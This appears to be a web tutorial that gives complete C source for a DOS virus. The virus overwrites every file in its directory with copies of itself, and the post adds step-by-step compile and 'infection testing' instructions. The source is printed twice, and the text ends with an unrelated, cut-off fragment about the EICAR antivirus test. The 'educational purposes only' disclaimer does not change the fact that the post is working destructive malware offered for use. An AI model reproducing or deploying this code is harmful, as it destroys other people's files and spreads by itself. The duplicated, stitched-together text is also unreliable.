This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:
1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4. All the infected files will be ready to reinfect
That’s it
WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE
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Have you ever wondered how to test your Antivirus software to ensure it’s proper working? Well here is a quick and easy way to test your antivirus. The process is called EICAR test which will work on any antivirus and was developed by 
